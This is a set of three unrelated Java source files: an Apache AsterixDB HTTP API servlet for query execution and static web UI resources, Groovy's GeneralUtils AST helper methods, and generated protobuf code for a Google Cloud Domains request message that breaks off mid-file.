import org.apache.hyracks.http.server.utils.HttpUtil.ContentType;
import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import io.netty.handler.codec.http.HttpResponseStatus;
public class ApiServlet extends AbstractServlet {
private static final Logger LOGGER = LogManager.getLogger();
public static final String HTML_STATEMENT_SEPARATOR = "<!-- BEGIN -->";
private final ICcApplicationContext appCtx;
private final ILangCompilationProvider aqlCompilationProvider;
private final ILangCompilationProvider sqlppCompilationProvider;
private final IStatementExecutorFactory statementExectorFactory;
private final IStorageComponentProvider componentProvider;
public ApiServlet(ConcurrentMap<String, Object> ctx, String[] paths, ICcApplicationContext appCtx,
ILangCompilationProvider aqlCompilationProvider, ILangCompilationProvider sqlppCompilationProvider,
IStatementExecutorFactory statementExecutorFactory, IStorageComponentProvider componentProvider) {
super(ctx, paths);
this.appCtx = appCtx;
this.aqlCompilationProvider = aqlCompilationProvider;
this.sqlppCompilationProvider = sqlppCompilationProvider;
this.statementExectorFactory = statementExecutorFactory;
this.componentProvider = componentProvider;
}
@Override
protected void post(IServletRequest request, IServletResponse response) {
final IRequestReference requestReference = appCtx.getReceptionist().welcome(request);
// Query language
ILangCompilationProvider compilationProvider = "AQL".equals(request.getParameter("query-language"))
? aqlCompilationProvider : sqlppCompilationProvider;
IParserFactory parserFactory = compilationProvider.getParserFactory();
try {
HttpUtil.setContentType(response, ContentType.TEXT_HTML, request);
} catch (IOException e) {
LOGGER.log(Level.WARN, "Failure setting content type", e);
response.setStatus(HttpResponseStatus.INTERNAL_SERVER_ERROR);
return;
}
// Output format.
PrintWriter out = response.writer();
OutputFormat format;
boolean csvAndHeader = false;
String output = request.getParameter("output-format");
if ("CSV-Header".equals(output)) {
output = "CSV";
csvAndHeader = true;
}
try {
format = OutputFormat.valueOf(output);
} catch (IllegalArgumentException e) {
LOGGER.log(Level.INFO,
output + ": unsupported output-format, using " + OutputFormat.CLEAN_JSON + " instead", e);
// Default output format
format = OutputFormat.CLEAN_JSON;
}
PlanFormat planFormat =
PlanFormat.get(request.getParameter("plan-format"), "plan format", PlanFormat.STRING, LOGGER);
String query = request.getParameter("query");
String wrapperArray = request.getParameter("wrapper-array");
String printExprParam = request.getParameter("print-expr-tree");
String printRewrittenExprParam = request.getParameter("print-rewritten-expr-tree");
String printLogicalPlanParam = request.getParameter("print-logical-plan");
String printOptimizedLogicalPlanParam = request.getParameter("print-optimized-logical-plan");
String printJob = request.getParameter("print-job");
String executeQuery = request.getParameter("execute-query");
response.setStatus(HttpResponseStatus.OK);
try {
IHyracksClientConnection hcc = (IHyracksClientConnection) ctx.get(HYRACKS_CONNECTION_ATTR);
IResultSet resultSet = ServletUtil.getResultSet(hcc, appCtx, ctx);
IParser parser = parserFactory.createParser(query);
List<Statement> statements = parser.parse();
SessionConfig sessionConfig = new SessionConfig(format, true, isSet(executeQuery), true, planFormat);
sessionConfig.set(SessionConfig.FORMAT_HTML, true);
sessionConfig.set(SessionConfig.FORMAT_CSV_HEADER, csvAndHeader);
sessionConfig.set(SessionConfig.FORMAT_WRAPPER_ARRAY, isSet(wrapperArray));
sessionConfig.setOOBData(isSet(printExprParam), isSet(printRewrittenExprParam),
isSet(printLogicalPlanParam), isSet(printOptimizedLogicalPlanParam), isSet(printJob));
SessionOutput sessionOutput = new SessionOutput(sessionConfig, out);
MetadataManager.INSTANCE.init();
IStatementExecutor translator = statementExectorFactory.create(appCtx, statements, sessionOutput,
compilationProvider, componentProvider);
double duration;
long startTime = System.currentTimeMillis();
final IRequestParameters requestParameters = new RequestParameters(requestReference, query, resultSet,
new ResultProperties(IStatementExecutor.ResultDelivery.IMMEDIATE), new IStatementExecutor.Stats(),
null, null, null, null, true);
translator.compileAndExecute(hcc, requestParameters);
long endTime = System.currentTimeMillis();
duration = (endTime - startTime) / 1000.00;
out.println(HTML_STATEMENT_SEPARATOR);
out.println("<PRE>Duration of all jobs: " + duration + " sec</PRE>");
} catch (AsterixException | TokenMgrError | org.apache.asterix.aqlplus.parser.TokenMgrError pe) {
GlobalConfig.ASTERIX_LOGGER.log(Level.INFO, pe.toString(), pe);
ResultUtil.webUIParseExceptionHandler(out, pe, query);
} catch (Exception e) {
GlobalConfig.ASTERIX_LOGGER.log(Level.ERROR, e.getMessage(), e);
ResultUtil.webUIErrorHandler(out, e);
}
}
@Override
protected void get(IServletRequest request, IServletResponse response) {
String resourcePath = null;
String requestURI = request.getHttpRequest().uri();
response.setStatus(HttpResponseStatus.OK);
if ("/".equals(requestURI)) {
try {
HttpUtil.setContentType(response, HttpUtil.ContentType.TEXT_HTML, request);
} catch (IOException e) {
LOGGER.log(Level.WARN, "Failure setting content type", e);
response.setStatus(HttpResponseStatus.INTERNAL_SERVER_ERROR);
return;
}
resourcePath = "/webui/querytemplate.html";
} else {
resourcePath = requestURI;
}
try (InputStream is = ApiServlet.class.getResourceAsStream(resourcePath)) {
if (is == null) {
response.setStatus(HttpResponseStatus.NOT_FOUND);
return;
}
// Special handler for font files and .png resources
if (resourcePath.endsWith(".png")) {
BufferedImage img = ImageIO.read(is);
HttpUtil.setContentType(response, HttpUtil.ContentType.IMG_PNG);
OutputStream outputStream = response.outputStream();
String formatName = "png";
ImageIO.write(img, formatName, outputStream);
outputStream.close();
return;
}
String type = HttpUtil.mime(StaticResourceServlet.extension(resourcePath));
HttpUtil.setContentType(response, "".equals(type) ? HttpUtil.ContentType.TEXT_PLAIN : type,
HttpUtil.Encoding.UTF8);
writeOutput(response, is, resourcePath);
} catch (IOException e) {
LOGGER.log(Level.WARN, "Failure handling request", e);
response.setStatus(HttpResponseStatus.INTERNAL_SERVER_ERROR);
}
}
private void writeOutput(IServletResponse response, InputStream is, String resourcePath) throws IOException {
try (InputStreamReader isr = new InputStreamReader(is); BufferedReader br = new BufferedReader(isr)) {
StringBuilder sb = new StringBuilder();
String line;
try {
line = br.readLine();
} catch (NullPointerException e) {
LOGGER.log(Level.WARN, "NPE reading resource " + resourcePath + ", assuming JDK-8080094; returning 404",
e);
// workaround lame JDK bug where a broken InputStream is returned in case the resourcePath is a
// directory; see https://bugs.openjdk.java.net/browse/JDK-8080094
response.setStatus(HttpResponseStatus.NOT_FOUND);
return;
}
while (line != null) {
sb.append(line);
line = br.readLine();
}
PrintWriter out = response.writer();
out.println(sb.toString());
}
}
private static boolean isSet(String requestParameter) {
return "true".equals(requestParameter);
}
}
| |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.codehaus.groovy.ast.tools;
import org.codehaus.groovy.ast.AnnotatedNode;
import org.codehaus.groovy.ast.AnnotationNode;
import org.codehaus.groovy.ast.ClassHelper;
import org.codehaus.groovy.ast.ClassNode;
import org.codehaus.groovy.ast.FieldNode;
import org.codehaus.groovy.ast.MethodNode;
import org.codehaus.groovy.ast.Parameter;
import org.codehaus.groovy.ast.PropertyNode;
import org.codehaus.groovy.ast.Variable;
import org.codehaus.groovy.ast.VariableScope;
import org.codehaus.groovy.ast.expr.ArgumentListExpression;
import org.codehaus.groovy.ast.expr.AttributeExpression;
import org.codehaus.groovy.ast.expr.BinaryExpression;
import org.codehaus.groovy.ast.expr.BooleanExpression;
import org.codehaus.groovy.ast.expr.CastExpression;
import org.codehaus.groovy.ast.expr.ClassExpression;
import org.codehaus.groovy.ast.expr.ClosureExpression;
import org.codehaus.groovy.ast.expr.ConstantExpression;
import org.codehaus.groovy.ast.expr.ConstructorCallExpression;
import org.codehaus.groovy.ast.expr.DeclarationExpression;
import org.codehaus.groovy.ast.expr.Expression;
import org.codehaus.groovy.ast.expr.FieldExpression;
import org.codehaus.groovy.ast.expr.MethodCallExpression;
import org.codehaus.groovy.ast.expr.NotExpression;
import org.codehaus.groovy.ast.expr.PropertyExpression;
import org.codehaus.groovy.ast.expr.StaticMethodCallExpression;
import org.codehaus.groovy.ast.expr.TernaryExpression;
import org.codehaus.groovy.ast.expr.VariableExpression;
import org.codehaus.groovy.ast.stmt.BlockStatement;
import org.codehaus.groovy.ast.stmt.EmptyStatement;
import org.codehaus.groovy.ast.stmt.ExpressionStatement;
import org.codehaus.groovy.ast.stmt.IfStatement;
import org.codehaus.groovy.ast.stmt.ReturnStatement;
import org.codehaus.groovy.ast.stmt.Statement;
import org.codehaus.groovy.classgen.Verifier;
import org.codehaus.groovy.runtime.GeneratedClosure;
import org.codehaus.groovy.runtime.MetaClassHelper;
import org.codehaus.groovy.syntax.Token;
import org.codehaus.groovy.syntax.Types;
import org.codehaus.groovy.transform.AbstractASTTransformation;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
/**
* Handy methods when working with the Groovy AST
*
* @author Guillaume Laforge
* @author Paul King
* @author Andre Steingress
* @author Graeme Rocher
*/
public class GeneralUtils {
public static final Token ASSIGN = Token.newSymbol(Types.ASSIGN, -1, -1);
public static final Token EQ = Token.newSymbol(Types.COMPARE_EQUAL, -1, -1);
public static final Token NE = Token.newSymbol(Types.COMPARE_NOT_EQUAL, -1, -1);
public static final Token LT = Token.newSymbol(Types.COMPARE_LESS_THAN, -1, -1);
public static final Token AND = Token.newSymbol(Types.LOGICAL_AND, -1, -1);
public static final Token OR = Token.newSymbol(Types.LOGICAL_OR, -1, -1);
public static final Token CMP = Token.newSymbol(Types.COMPARE_TO, -1, -1);
private static final Token INSTANCEOF = Token.newSymbol(Types.KEYWORD_INSTANCEOF, -1, -1);
private static final Token PLUS = Token.newSymbol(Types.PLUS, -1, -1);
private static final Token INDEX = Token.newSymbol("[", -1, -1);
public static BinaryExpression andX(Expression lhv, Expression rhv) {
return new BinaryExpression(lhv, AND, rhv);
}
public static ArgumentListExpression args(Expression... expressions) {
List<Expression> args = new ArrayList<Expression>();
Collections.addAll(args, expressions);
return new ArgumentListExpression(args);
}
public static ArgumentListExpression args(List<Expression> expressions) {
return new ArgumentListExpression(expressions);
}
public static ArgumentListExpression args(Parameter[] parameters) {
return new ArgumentListExpression(parameters);
}
public static ArgumentListExpression args(String... names) {
List<Expression> vars = new ArrayList<Expression>();
for (String name : names) {
vars.add(varX(name));
}
return new ArgumentListExpression(vars);
}
public static Statement assignS(Expression target, Expression value) {
return new ExpressionStatement(assignX(target, value));
}
public static Expression assignX(Expression target, Expression value) {
return new BinaryExpression(target, ASSIGN, value);
}
public static Expression attrX(Expression oe, Expression prop) {
return new AttributeExpression(oe, prop);
}
public static BlockStatement block(VariableScope varScope, Statement... stmts) {
BlockStatement block = new BlockStatement();
block.setVariableScope(varScope);
for (Statement stmt : stmts) block.addStatement(stmt);
return block;
}
public static BlockStatement block(Statement... stmts) {
BlockStatement block = new BlockStatement();
for (Statement stmt : stmts) block.addStatement(stmt);
return block;
}
public static MethodCallExpression callSuperX(String methodName, Expression args) {
return callX(varX("super"), methodName, args);
}
public static MethodCallExpression callSuperX(String methodName) {
return callSuperX(methodName, MethodCallExpression.NO_ARGUMENTS);
}
public static MethodCallExpression callThisX(String methodName, Expression args) {
return callX(varX("this"), methodName, args);
}
public static MethodCallExpression callThisX(String methodName) {
return callThisX(methodName, MethodCallExpression.NO_ARGUMENTS);
}
public static MethodCallExpression callX(Expression receiver, String methodName, Expression args) {
return new MethodCallExpression(receiver, methodName, args);
}
public static MethodCallExpression callX(Expression receiver, Expression method, Expression args) {
return new MethodCallExpression(receiver, method, args);
}
public static MethodCallExpression callX(Expression receiver, String methodName) {
return callX(receiver, methodName, MethodCallExpression.NO_ARGUMENTS);
}
public static StaticMethodCallExpression callX(ClassNode receiver, String methodName, Expression args) {
return new StaticMethodCallExpression(receiver, methodName, args);
}
public static StaticMethodCallExpression callX(ClassNode receiver, String methodName) {
return callX(receiver, methodName, MethodCallExpression.NO_ARGUMENTS);
}
public static CastExpression castX(ClassNode type, Expression expression) {
return new CastExpression(type, expression);
}
public static CastExpression castX(ClassNode type, Expression expression, boolean ignoreAutoboxing) {
return new CastExpression(type, expression, ignoreAutoboxing);
}
public static ClassExpression classX(ClassNode clazz) {
return new ClassExpression(clazz);
}
public static ClassExpression classX(Class clazz) {
return classX(ClassHelper.make(clazz).getPlainNodeReference());
}
public static ClosureExpression closureX(Parameter[] params, Statement code) {
return new ClosureExpression(params, code);
}
public static ClosureExpression closureX(Statement code) {
return closureX(Parameter.EMPTY_ARRAY, code);
}
public static Parameter[] cloneParams(Parameter[] source) {
Parameter[] result = new Parameter[source.length];
for (int i = 0; i < source.length; i++) {
Parameter srcParam = source[i];
Parameter dstParam = new Parameter(srcParam.getOriginType(), srcParam.getName());
result[i] = dstParam;
}
return result;
}
public static BinaryExpression cmpX(Expression lhv, Expression rhv) {
return new BinaryExpression(lhv, CMP, rhv);
}
public static ConstantExpression constX(Object val) {
return new ConstantExpression(val);
}
public static ConstantExpression constX(Object val, boolean keepPrimitive) {
return new ConstantExpression(val, keepPrimitive);
}
/**
* Copies all <tt>candidateAnnotations</tt> with retention policy {@link java.lang.annotation.RetentionPolicy#RUNTIME}
* and {@link java.lang.annotation.RetentionPolicy#CLASS}.
* <p>
* Annotations with {@link org.codehaus.groovy.runtime.GeneratedClosure} members are not supported at present.
*/
public static void copyAnnotatedNodeAnnotations(final AnnotatedNode annotatedNode, final List<AnnotationNode> copied, List<AnnotationNode> notCopied) {
List<AnnotationNode> annotationList = annotatedNode.getAnnotations();
for (AnnotationNode annotation : annotationList) {
List<AnnotationNode> annotations = annotation.getClassNode().getAnnotations(AbstractASTTransformation.RETENTION_CLASSNODE);
if (annotations.isEmpty()) continue;
if (hasClosureMember(annotation)) {
notCopied.add(annotation);
continue;
}
AnnotationNode retentionPolicyAnnotation = annotations.get(0);
Expression valueExpression = retentionPolicyAnnotation.getMember("value");
if (!(valueExpression instanceof PropertyExpression)) continue;
PropertyExpression propertyExpression = (PropertyExpression) valueExpression;
boolean processAnnotation =
propertyExpression.getProperty() instanceof ConstantExpression &&
(
"RUNTIME".equals(((ConstantExpression) (propertyExpression.getProperty())).getValue()) ||
"CLASS".equals(((ConstantExpression) (propertyExpression.getProperty())).getValue())
);
if (processAnnotation) {
AnnotationNode newAnnotation = new AnnotationNode(annotation.getClassNode());
for (Map.Entry<String, Expression> member : annotation.getMembers().entrySet()) {
newAnnotation.addMember(member.getKey(), member.getValue());
}
newAnnotation.setSourcePosition(annotatedNode);
copied.add(newAnnotation);
}
}
}
public static Statement createConstructorStatementDefault(FieldNode fNode) {
final String name = fNode.getName();
final ClassNode fType = fNode.getType();
final Expression fieldExpr = propX(varX("this"), name);
Expression initExpr = fNode.getInitialValueExpression();
Statement assignInit;
if (initExpr == null || (initExpr instanceof ConstantExpression && ((ConstantExpression)initExpr).isNullExpression())) {
if (ClassHelper.isPrimitiveType(fType)) {
assignInit = EmptyStatement.INSTANCE;
} else {
assignInit = assignS(fieldExpr, ConstantExpression.EMPTY_EXPRESSION);
}
} else {
assignInit = assignS(fieldExpr, initExpr);
}
fNode.setInitialValueExpression(null);
Expression value = findArg(name);
return ifElseS(equalsNullX(value), assignInit, assignS(fieldExpr, castX(fType, value)));
}
public static ConstructorCallExpression ctorX(ClassNode type, Expression args) {
return new ConstructorCallExpression(type, args);
}
public static ConstructorCallExpression ctorX(ClassNode type) {
return new ConstructorCallExpression(type, ArgumentListExpression.EMPTY_ARGUMENTS);
}
public static Statement ctorSuperS(Expression args) {
return stmt(ctorX(ClassNode.SUPER, args));
}
public static Statement ctorThisS(Expression args) {
return stmt(ctorX(ClassNode.THIS, args));
}
public static Statement ctorSuperS() {
return stmt(ctorX(ClassNode.SUPER));
}
public static Statement ctorThisS() {
return stmt(ctorX(ClassNode.THIS));
}
public static Statement declS(Expression target, Expression init) {
return new ExpressionStatement(new DeclarationExpression(target, ASSIGN, init));
}
public static BinaryExpression eqX(Expression lhv, Expression rhv) {
return new BinaryExpression(lhv, EQ, rhv);
}
public static BooleanExpression equalsNullX(Expression argExpr) {
return new BooleanExpression(eqX(argExpr, new ConstantExpression(null)));
}
public static FieldExpression fieldX(FieldNode fieldNode) {
return new FieldExpression(fieldNode);
}
public static FieldExpression fieldX(ClassNode owner, String fieldName) {
return new FieldExpression(owner.getField(fieldName));
}
public static Expression findArg(String argName) {
return new PropertyExpression(new VariableExpression("args"), argName);
}
public static List<MethodNode> getAllMethods(ClassNode type) {
ClassNode node = type;
List<MethodNode> result = new ArrayList<MethodNode>();
while (node != null) {
result.addAll(node.getMethods());
node = node.getSuperClass();
}
return result;
}
public static List<PropertyNode> getAllProperties(ClassNode type) {
ClassNode node = type;
List<PropertyNode> result = new ArrayList<PropertyNode>();
while (node != null) {
result.addAll(node.getProperties());
node = node.getSuperClass();
}
return result;
}
public static String getGetterName(PropertyNode pNode) {
return "get" + Verifier.capitalize(pNode.getName());
}
public static List<FieldNode> getInstanceNonPropertyFields(ClassNode cNode) {
final List<FieldNode> result = new ArrayList<FieldNode>();
for (FieldNode fNode : cNode.getFields()) {
if (!fNode.isStatic() && cNode.getProperty(fNode.getName()) == null) {
result.add(fNode);
}
}
return result;
}
public static List<String> getInstanceNonPropertyFieldNames(ClassNode cNode) {
List<FieldNode> fList = getInstanceNonPropertyFields(cNode);
List<String> result = new ArrayList<String>(fList.size());
for (FieldNode fNode : fList) {
result.add(fNode.getName());
}
return result;
}
public static List<PropertyNode> getInstanceProperties(ClassNode cNode) {
final List<PropertyNode> result = new ArrayList<PropertyNode>();
for (PropertyNode pNode : cNode.getProperties()) {
if (!pNode.isStatic()) {
result.add(pNode);
}
}
return result;
}
public static List<String> getInstancePropertyNames(ClassNode cNode) {
List<PropertyNode> pList = BeanUtils.getAllProperties(cNode, false, false, true);
List<String> result = new ArrayList<String>(pList.size());
for (PropertyNode pNode : pList) {
result.add(pNode.getName());
}
return result;
}
public static List<FieldNode> getInstancePropertyFields(ClassNode cNode) {
final List<FieldNode> result = new ArrayList<FieldNode>();
for (PropertyNode pNode : cNode.getProperties()) {
if (!pNode.isStatic()) {
result.add(pNode.getField());
}
}
return result;
}
public static Set<ClassNode> getInterfacesAndSuperInterfaces(ClassNode type) {
Set<ClassNode> res = new HashSet<ClassNode>();
if (type.isInterface()) {
res.add(type);
return res;
}
ClassNode next = type;
while (next != null) {
Collections.addAll(res, next.getInterfaces());
next = next.getSuperClass();
}
return res;
}
public static List<FieldNode> getSuperNonPropertyFields(ClassNode cNode) {
final List<FieldNode> result;
if (cNode == ClassHelper.OBJECT_TYPE) {
result = new ArrayList<FieldNode>();
} else {
result = getSuperNonPropertyFields(cNode.getSuperClass());
}
for (FieldNode fNode : cNode.getFields()) {
if (!fNode.isStatic() && cNode.getProperty(fNode.getName()) == null) {
result.add(fNode);
}
}
return result;
}
public static List<FieldNode> getSuperPropertyFields(ClassNode cNode) {
final List<FieldNode> result;
if (cNode == ClassHelper.OBJECT_TYPE) {
result = new ArrayList<FieldNode>();
} else {
result = getSuperPropertyFields(cNode.getSuperClass());
}
for (PropertyNode pNode : cNode.getProperties()) {
if (!pNode.isStatic()) {
result.add(pNode.getField());
}
}
return result;
}
public static BinaryExpression hasClassX(Expression instance, ClassNode cNode) {
return eqX(classX(cNode), callX(instance, "getClass"));
}
private static boolean hasClosureMember(AnnotationNode annotation) {
Map<String, Expression> members = annotation.getMembers();
for (Map.Entry<String, Expression> member : members.entrySet()) {
if (member.getValue() instanceof ClosureExpression) return true;
if (member.getValue() instanceof ClassExpression) {
ClassExpression classExpression = (ClassExpression) member.getValue();
Class<?> typeClass = classExpression.getType().isResolved() ? classExpression.getType().redirect().getTypeClass() : null;
if (typeClass != null && GeneratedClosure.class.isAssignableFrom(typeClass)) return true;
}
}
return false;
}
public static boolean hasDeclaredMethod(ClassNode cNode, String name, int argsCount) {
List<MethodNode> ms = cNode.getDeclaredMethods(name);
for (MethodNode m : ms) {
Parameter[] paras = m.getParameters();
if (paras != null && paras.length == argsCount) {
return true;
}
}
return false;
}
public static BinaryExpression hasEqualFieldX(FieldNode fNode, Expression other) {
return eqX(varX(fNode), propX(other, fNode.getName()));
}
public static BinaryExpression hasEqualPropertyX(ClassNode annotatedNode, PropertyNode pNode, VariableExpression other) {
return eqX(getterThisX(annotatedNode, pNode), getterX(other.getOriginType(), other, pNode));
}
@Deprecated
public static BinaryExpression hasEqualPropertyX(PropertyNode pNode, Expression other) {
String getterName = getGetterName(pNode);
return eqX(callThisX(getterName), callX(other, getterName));
}
public static BooleanExpression hasSameFieldX(FieldNode fNode, Expression other) {
return sameX(varX(fNode), propX(other, fNode.getName()));
}
public static BooleanExpression hasSamePropertyX(PropertyNode pNode, Expression other) {
String getterName = getGetterName(pNode);
return sameX(callThisX(getterName), callX(other, getterName));
}
public static Statement ifElseS(Expression cond, Statement thenStmt, Statement elseStmt) {
return new IfStatement(
cond instanceof BooleanExpression ? (BooleanExpression) cond : new BooleanExpression(cond),
thenStmt,
elseStmt
);
}
public static Statement ifS(Expression cond, Expression trueExpr) {
return ifS(cond, new ExpressionStatement(trueExpr));
}
public static Statement ifS(Expression cond, Statement trueStmt) {
return new IfStatement(
cond instanceof BooleanExpression ? (BooleanExpression) cond : new BooleanExpression(cond),
trueStmt,
EmptyStatement.INSTANCE
);
}
public static Expression indexX(Expression target, Expression value) {
return new BinaryExpression(target, INDEX, value);
}
public static BooleanExpression isInstanceOfX(Expression objectExpression, ClassNode cNode) {
return new BooleanExpression(new BinaryExpression(objectExpression, INSTANCEOF, classX(cNode)));
}
public static BooleanExpression isOneX(Expression expr) {
return new BooleanExpression(new BinaryExpression(expr, EQ, new ConstantExpression(1)));
}
public static boolean isOrImplements(ClassNode type, ClassNode interfaceType) {
return type.equals(interfaceType) || type.implementsInterface(interfaceType);
}
public static BooleanExpression isTrueX(Expression argExpr) {
return new BooleanExpression(new BinaryExpression(argExpr, EQ, new ConstantExpression(Boolean.TRUE)));
}
public static BooleanExpression isZeroX(Expression expr) {
return new BooleanExpression(new BinaryExpression(expr, EQ, new ConstantExpression(0)));
}
public static BinaryExpression ltX(Expression lhv, Expression rhv) {
return new BinaryExpression(lhv, LT, rhv);
}
public static String makeDescriptorWithoutReturnType(MethodNode mn) {
StringBuilder sb = new StringBuilder();
sb.append(mn.getName()).append(':');
for (Parameter p : mn.getParameters()) {
sb.append(p.getType()).append(',');
}
return sb.toString();
}
public static BinaryExpression neX(Expression lhv, Expression rhv) {
return new BinaryExpression(lhv, NE, rhv);
}
public static BooleanExpression notNullX(Expression argExpr) {
return new BooleanExpression(new BinaryExpression(argExpr, NE, new ConstantExpression(null)));
}
public static NotExpression notX(Expression expr) {
return new NotExpression(expr instanceof BooleanExpression ? expr : new BooleanExpression(expr));
}
public static BinaryExpression orX(Expression lhv, Expression rhv) {
return new BinaryExpression(lhv, OR, rhv);
}
public static Parameter param(ClassNode type, String name) {
return param(type, name, null);
}
public static Parameter param(ClassNode type, String name, Expression initialExpression) {
Parameter param = new Parameter(type, name);
if (initialExpression != null) {
param.setInitialExpression(initialExpression);
}
return param;
}
public static Parameter[] params(Parameter... params) {
return params != null ? params : Parameter.EMPTY_ARRAY;
}
public static BinaryExpression plusX(Expression lhv, Expression rhv) {
return new BinaryExpression(lhv, PLUS, rhv);
}
public static Expression propX(Expression owner, String property) {
return new PropertyExpression(owner, property);
}
public static Expression propX(Expression owner, Expression property) {
return new PropertyExpression(owner, property);
}
public static Statement returnS(Expression expr) {
return new ReturnStatement(new ExpressionStatement(expr));
}
public static Statement safeExpression(Expression fieldExpr, Expression expression) {
return new IfStatement(
equalsNullX(fieldExpr),
new ExpressionStatement(fieldExpr),
new ExpressionStatement(expression));
}
public static BooleanExpression sameX(Expression self, Expression other) {
return new BooleanExpression(callX(self, "is", args(other)));
}
public static Statement stmt(Expression expr) {
return new ExpressionStatement(expr);
}
public static TernaryExpression ternaryX(Expression cond, Expression trueExpr, Expression elseExpr) {
return new TernaryExpression(
cond instanceof BooleanExpression ? (BooleanExpression) cond : new BooleanExpression(cond),
trueExpr,
elseExpr);
}
public static VariableExpression varX(String name) {
return new VariableExpression(name);
}
public static VariableExpression varX(Variable variable) {
return new VariableExpression(variable);
}
public static VariableExpression varX(String name, ClassNode type) {
return new VariableExpression(name, type);
}
/**
* This method is similar to {@link #propX(Expression, Expression)} but will make sure that if the property
* being accessed is defined inside the classnode provided as a parameter, then a getter call is generated
* instead of a field access.
* @param annotatedNode the class node where the property node is accessed from
* @param pNode the property being accessed
* @return a method call expression or a property expression
*/
public static Expression getterThisX(ClassNode annotatedNode, PropertyNode pNode) {
ClassNode owner = pNode.getDeclaringClass();
if (annotatedNode.equals(owner)) {
String getterName = "get" + MetaClassHelper.capitalize(pNode.getName());
boolean existingExplicitGetter = annotatedNode.getMethod(getterName, Parameter.EMPTY_ARRAY) != null;
if (ClassHelper.boolean_TYPE.equals(pNode.getOriginType()) && !existingExplicitGetter) {
getterName = "is" + MetaClassHelper.capitalize(pNode.getName());
}
return callThisX(getterName);
}
return propX(new VariableExpression("this"), pNode.getName());
}
/**
* This method is similar to {@link #propX(Expression, Expression)} but will make sure that if the property
* being accessed is defined inside the classnode provided as a parameter, then a getter call is generated
* instead of a field access.
* @param annotatedNode the class node where the property node is accessed from
* @param receiver the object having the property
* @param pNode the property being accessed
* @return a method call expression or a property expression
*/
public static Expression getterX(ClassNode annotatedNode, Expression receiver, PropertyNode pNode) {
ClassNode owner = pNode.getDeclaringClass();
if (annotatedNode.equals(owner)) {
String getterName = "get" + MetaClassHelper.capitalize(pNode.getName());
boolean existingExplicitGetter = annotatedNode.getMethod(getterName, Parameter.EMPTY_ARRAY) != null;
if (ClassHelper.boolean_TYPE.equals(pNode.getOriginType()) && !existingExplicitGetter) {
getterName = "is" + MetaClassHelper.capitalize(pNode.getName());
}
return callX(receiver, getterName);
}
return propX(receiver, pNode.getName());
}
}
| |
/*
* Copyright 2020 Google LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
// Generated by the protocol buffer compiler. DO NOT EDIT!
// source: google/cloud/domains/v1/domains.proto
package com.google.cloud.domains.v1;
/**
*
*
* <pre>
* Request for the `GetRegistration` method.
* </pre>
*
* Protobuf type {@code google.cloud.domains.v1.GetRegistrationRequest}
*/
public final class GetRegistrationRequest extends com.google.protobuf.GeneratedMessageV3
implements
// @@protoc_insertion_point(message_implements:google.cloud.domains.v1.GetRegistrationRequest)
GetRegistrationRequestOrBuilder {
private static final long serialVersionUID = 0L;
// Use GetRegistrationRequest.newBuilder() to construct.
private GetRegistrationRequest(com.google.protobuf.GeneratedMessageV3.Builder<?> builder) {
super(builder);
}
private GetRegistrationRequest() {
name_ = "";
}
@java.lang.Override
@SuppressWarnings({"unused"})
protected java.lang.Object newInstance(UnusedPrivateParameter unused) {
return new GetRegistrationRequest();
}
@java.lang.Override
public final com.google.protobuf.UnknownFieldSet getUnknownFields() {
return this.unknownFields;
}
private GetRegistrationRequest(
com.google.protobuf.CodedInputStream input,
com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws com.google.protobuf.InvalidProtocolBufferException {
this();
if (extensionRegistry == null) {
throw new java.lang.NullPointerException();
}
com.google.protobuf.UnknownFieldSet.Builder unknownFields =
com.google.protobuf.UnknownFieldSet.newBuilder();
try {
boolean done = false;
while (!done) {
int tag = input.readTag();
switch (tag) {
case 0:
done = true;
break;
case 10:
{
java.lang.String s = input.readStringRequireUtf8();
name_ = s;
break;
}
default:
{
if (!parseUnknownField(input, unknownFields, extensionRegistry, tag)) {
done = true;
}
break;
}
}
}
} catch (com.google.protobuf.InvalidProtocolBufferException e) {
throw e.setUnfinishedMessage(this);
} catch (java.io.IOException e) {
throw new com.google.protobuf.InvalidProtocolBufferException(e).setUnfinishedMessage(this);
} finally {
this.unknownFields = unknownFields.build();
makeExtensionsImmutable();
}
}
public static final com.google.protobuf.Descriptors.Descriptor getDescriptor() {
return com.google.cloud.domains.v1.DomainsProto
.internal_static_google_cloud_domains_v1_GetRegistrationRequest_descriptor;
}
@java.lang.Override
protected com.google.protobuf.GeneratedMessageV3.FieldAccessorTable
internalGetFieldAccessorTable() {
return com.google.cloud.domains.v1.DomainsProto
.internal_static_google_cloud_domains_v1_GetRegistrationRequest_fieldAccessorTable
.ensureFieldAccessorsInitialized(
com.google.cloud.domains.v1.GetRegistrationRequest.class,
com.google.cloud.domains.v1.GetRegistrationRequest.Builder.class);
}
public static final int NAME_FIELD_NUMBER = 1;
private volatile java.lang.Object name_;
/**
*
*
* <pre>
* Required. The name of the `Registration` to get, in the format
* `projects/*/locations/*/registrations/*`.
* </pre>
*
* <code>
* string name = 1 [(.google.api.field_behavior) = REQUIRED, (.google.api.resource_reference) = { ... }
* </code>
*
* @return The name.
*/
@java.lang.Override
public java.lang.String getName() {
java.lang.Object ref = name_;
if (ref instanceof java.lang.String) {
return (java.lang.String) ref;
} else {
com.google.protobuf.ByteString bs = (com.google.protobuf.ByteString) ref;
java.lang.String s = bs.toStringUtf8();
name_ = s;
return s;
}
}
/**
*
*
* <pre>
* Required. The name of the `Registration` to get, in the format
